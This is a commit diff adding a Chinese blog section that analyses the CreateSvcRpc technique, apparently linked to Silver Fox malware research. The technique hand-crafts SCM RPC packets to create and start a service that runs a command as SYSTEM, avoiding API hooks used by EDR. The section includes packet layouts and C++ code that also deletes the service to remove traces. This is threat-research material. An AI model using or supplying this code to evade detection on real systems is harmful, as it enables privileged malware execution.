Skip to content

Commit c6e8530

Browse files
add CreateSvcRpc technique for executing commands with SYSTEM privileges
1 parent dd6d1ca commit c6e8530

1 file changed

Lines changed: 156 additions & 0 deletions

File tree

_posts/2025-12-15-silver-fox-poc-2025-zh-cn.md

Lines changed: 156 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -254,3 +254,159 @@ Usage of gSigFlip.exe:
254254
the xor key you want to use
255255
```
256256

257+
## CreateSvcRpc
258+
259+
**CreateSvcRpc** 是一种通过原始 RPC 协议直接操控 Windows 服务控制管理器 (SCM) 从而以 SYSTEM 权限执行命令的技术。该技术的原始 POC 由安全研究员 **x86matthew** 于 2022 年公开。随后,GitHub 用户 antonioCoco 在其项目 [SspiUacBypass](https://github.com/antonioCoco/SspiUacBypass/blob/main/CreateSvcRpc.cpp) 中提供了基于 x86matthew 代码修改而来的实现。
260+
261+
### 核心原理
262+
263+
其核心逻辑在于**直接进行 RPC 通信**,从而绕过高层 Win32 API。通常,EDR/AV 产品会 Hook `OpenSCManager()``CreateService()` 等标准 API 来监控服务创建行为。而 CreateSvcRpc 不调用这些 API,而是通过命名管道直接与 SCM 的 RPC 接口通信,手工构造 DCE/RPC 协议数据包。这种方式可以有效避开基于 API Hook 的检测机制。
264+
265+
### RPC 协议实现细节
266+
267+
该实现主要涉及以下组件:
268+
269+
| 组件 | 说明 |
270+
| :--- | :--- |
271+
| **Bind Request** | 绑定到 `367abb81-9844-35f1-ad32-98f038001003` (SVCCTL v2.0) |
272+
| **NDR 传输语法** | `8a885d04-1ceb-11c9-9fe8-08002b104860` |
273+
| **请求/响应处理** | 手工序列化参数,需严格遵守 4 字节对齐规则 |
274+
275+
#### DCE/RPC Bind 请求数据包布局
276+
277+
整个 RPC Bind 请求包结构如下:
278+
279+
```text
280+
+---------------------------+
281+
| RpcBaseHeader (16B) | ← 所有 RPC 包都有的公共头
282+
+---------------------------+
283+
| RpcBindRequestHeader | ← Bind 特有的参数
284+
+---------------------------+
285+
| Context Entry | ← 要绑定的接口信息
286+
+---------------------------+
287+
```
288+
289+
**RpcBaseHeader (16 字节)**
290+
291+
| 偏移 | 大小 | 字段 || 说明 |
292+
| :--- | :--- | :--- | :--- | :--- |
293+
| 0x00 | 2 | `wVersion` | `0x0005` | DCE/RPC v5 |
294+
| 0x02 | 1 | `bPacketType` | `0x0B` (11) | Bind 请求 |
295+
| 0x03 | 1 | `bPacketFlags` | `0x03` | `PFC_FIRST_FRAG \| PFC_LAST_FRAG` |
296+
| 0x04 | 4 | `dwDataRepresentation` | `0x00000010` | Little-endian, ASCII, IEEE |
297+
| 0x08 | 2 | `wFragLength` | `72` | 整个包的长度 |
298+
| 0x0A | 2 | `wAuthLength` | `0` | 无认证数据 |
299+
| 0x0C | 4 | `dwCallIndex` | `1` | 调用序号 |
300+
301+
**RpcBindRequestHeader (12 字节)**
302+
303+
| 偏移 | 大小 | 字段 || 说明 |
304+
| :--- | :--- | :--- | :--- | :--- |
305+
| 0x10 | 2 | `wMaxSendFrag` | `4096` | 最大发送分片 |
306+
| 0x12 | 2 | `wMaxRecvFrag` | `4096` | 最大接收分片 |
307+
| 0x14 | 4 | `dwAssocGroup` | `0` | 关联组 (新连接为0) |
308+
| 0x18 | 1 | `bContextCount` | `1` | 上下文数量 |
309+
| 0x19 | 3 | `bAlign[3]` | `0,0,0` | 对齐填充 |
310+
311+
**Context Entry (44 字节)**
312+
313+
| 偏移 | 大小 | 字段 || 说明 |
314+
| :--- | :--- | :--- | :--- | :--- |
315+
| 0x1C | 2 | `wContextID` | `0` | 上下文 ID |
316+
| 0x1E | 2 | `wTransItemCount` | `1` | 传输语法数量 |
317+
| 0x20 | 16 | `bInterfaceUUID` | `367abb81...` | SVCCTL 接口 (UUID: `367abb81-9844-35f1-ad32-98f038001003`) |
318+
| 0x30 | 4 | `dwInterfaceVersion` | `0x00000002` | 版本 2.0 |
319+
| 0x34 | 16 | `bTransferSyntaxUUID` | `8a885d04...` | NDR 语法 (UUID: `8a885d04-1ceb-11c9-9fe8-08002b104860`) |
320+
| 0x44 | 4 | `dwTransferSyntaxVersion` | `0x00000002` | NDR v2 |
321+
322+
### 代码实现片段
323+
324+
以下是构造 RPC 请求并创建服务的关键代码逻辑:
325+
326+
```cpp
327+
int InvokeCreateSvcRpcMain(char* pExecCmd)
328+
{
329+
RpcConnectionStruct RpcConnection;
330+
BYTE bServiceManagerObject[20]; // SCM 句柄 (RPC 上下文句柄, 固定20字节)
331+
BYTE bServiceObject[20]; // 服务句柄
332+
char szServiceName[256];
333+
char szServiceCommandLine[256];
334+
335+
// 生成随机服务名,避免冲突
336+
_snprintf(szServiceName, sizeof(szServiceName) - 1,
337+
"CreateSvcRpc_%u", GetTickCount());
338+
339+
// 关键: 用 "cmd /c start" 包装 payload
340+
// 这样服务启动后立即返回,不会因超时报错
341+
_snprintf(szServiceCommandLine, sizeof(szServiceCommandLine) - 1,
342+
"cmd /c start %s", pExecCmd);
343+
344+
//-------------------------------------------------------------------------
345+
// Step 1: 连接 SVCCTL RPC 接口
346+
// ntsvcs = SCM 的命名管道
347+
// 367abb81-9844-35f1-ad32-98f038001003 = SVCCTL 接口 UUID (MS-SCMR 规范)
348+
//-------------------------------------------------------------------------
349+
if (RpcConnect("ntsvcs", "367abb81-9844-35f1-ad32-98f038001003", 2, &RpcConnection) != 0)
350+
return 1;
351+
352+
//-------------------------------------------------------------------------
353+
// Step 2: ROpenSCManagerW (Opnum 27) - 获取 SCM 句柄
354+
//-------------------------------------------------------------------------
355+
RpcInitialiseRequestData(&RpcConnection);
356+
RpcAppendRequestData_Dword(&RpcConnection, 0); // lpMachineName = NULL
357+
RpcAppendRequestData_Dword(&RpcConnection, 0); // lpDatabaseName = NULL
358+
RpcAppendRequestData_Dword(&RpcConnection, SC_MANAGER_ALL_ACCESS); // dwDesiredAccess
359+
RpcSendRequest(&RpcConnection, RPC_CMD_ID_OPEN_SC_MANAGER); // Opnum 27
360+
361+
// 响应前20字节是 SCM 句柄,后4字节是返回值
362+
memcpy(bServiceManagerObject, &RpcConnection.bProcedureOutputData[0], 20);
363+
364+
//-------------------------------------------------------------------------
365+
// Step 3: RCreateServiceW (Opnum 24) - 创建服务
366+
// 这里手工序列化了 CreateService 的所有参数
367+
//-------------------------------------------------------------------------
368+
RpcInitialiseRequestData(&RpcConnection);
369+
RpcAppendRequestData_Binary(&RpcConnection, bServiceManagerObject, 20); // hSCManager
370+
RpcAppendRequestData_Dword(&RpcConnection, dwServiceNameLength); // 服务名长度
371+
RpcAppendRequestData_Dword(&RpcConnection, 0); // (对齐填充)
372+
RpcAppendRequestData_Dword(&RpcConnection, dwServiceNameLength);
373+
RpcAppendRequestData_Binary(&RpcConnection, (BYTE*)szServiceName, dwServiceNameLength);
374+
RpcAppendRequestData_Dword(&RpcConnection, 0); // lpDisplayName
375+
RpcAppendRequestData_Dword(&RpcConnection, SERVICE_ALL_ACCESS); // dwDesiredAccess
376+
RpcAppendRequestData_Dword(&RpcConnection, SERVICE_WIN32_OWN_PROCESS); // dwServiceType
377+
RpcAppendRequestData_Dword(&RpcConnection, SERVICE_DEMAND_START); // dwStartType (手动启动)
378+
RpcAppendRequestData_Dword(&RpcConnection, SERVICE_ERROR_IGNORE); // dwErrorControl
379+
// ... lpBinaryPathName (我们的 payload 命令行) ...
380+
RpcAppendRequestData_Binary(&RpcConnection, (BYTE*)szServiceCommandLine, dwServiceCommandLineLength);
381+
// ... 其他参数 (LoadOrderGroup, Dependencies 等都设为 NULL) ...
382+
RpcSendRequest(&RpcConnection, RPC_CMD_ID_CREATE_SERVICE); // Opnum 24
383+
384+
// 响应: [0-3] TagId, [4-23] 服务句柄, [24-27] 返回值
385+
memcpy(bServiceObject, &RpcConnection.bProcedureOutputData[4], 20);
386+
387+
//-------------------------------------------------------------------------
388+
// Step 4: RStartServiceW (Opnum 31) - 启动服务
389+
// 服务会以 SYSTEM 身份运行,执行我们的 payload
390+
//-------------------------------------------------------------------------
391+
RpcInitialiseRequestData(&RpcConnection);
392+
RpcAppendRequestData_Binary(&RpcConnection, bServiceObject, 20); // hService
393+
RpcAppendRequestData_Dword(&RpcConnection, 0); // argc = 0
394+
RpcAppendRequestData_Dword(&RpcConnection, 0); // argv = NULL
395+
RpcSendRequest(&RpcConnection, RPC_CMD_ID_START_SERVICE); // Opnum 31
396+
397+
// 注意: 返回 ERROR_SERVICE_REQUEST_TIMEOUT (1053) 是正常的
398+
// 因为我们的 "服务" 不是真正的服务程序,不会响应 SCM 的控制请求
399+
400+
//-------------------------------------------------------------------------
401+
// Step 5: RDeleteService (Opnum 2) - 删除服务,清理痕迹
402+
//-------------------------------------------------------------------------
403+
RpcInitialiseRequestData(&RpcConnection);
404+
RpcAppendRequestData_Binary(&RpcConnection, bServiceObject, 20);
405+
RpcSendRequest(&RpcConnection, RPC_CMD_ID_DELETE_SERVICE); // Opnum 2
406+
407+
RpcDisconnect(&RpcConnection);
408+
return 0;
409+
}
410+
```
411+
412+
根据[火绒安全的报告](https://www.huorong.cn/document/tech/vir_report/1846),银狐木马正是利用此技术来加载 BYOVD 驱动,从而规避了常规的行为监控。

0 commit comments

Comments
 (0)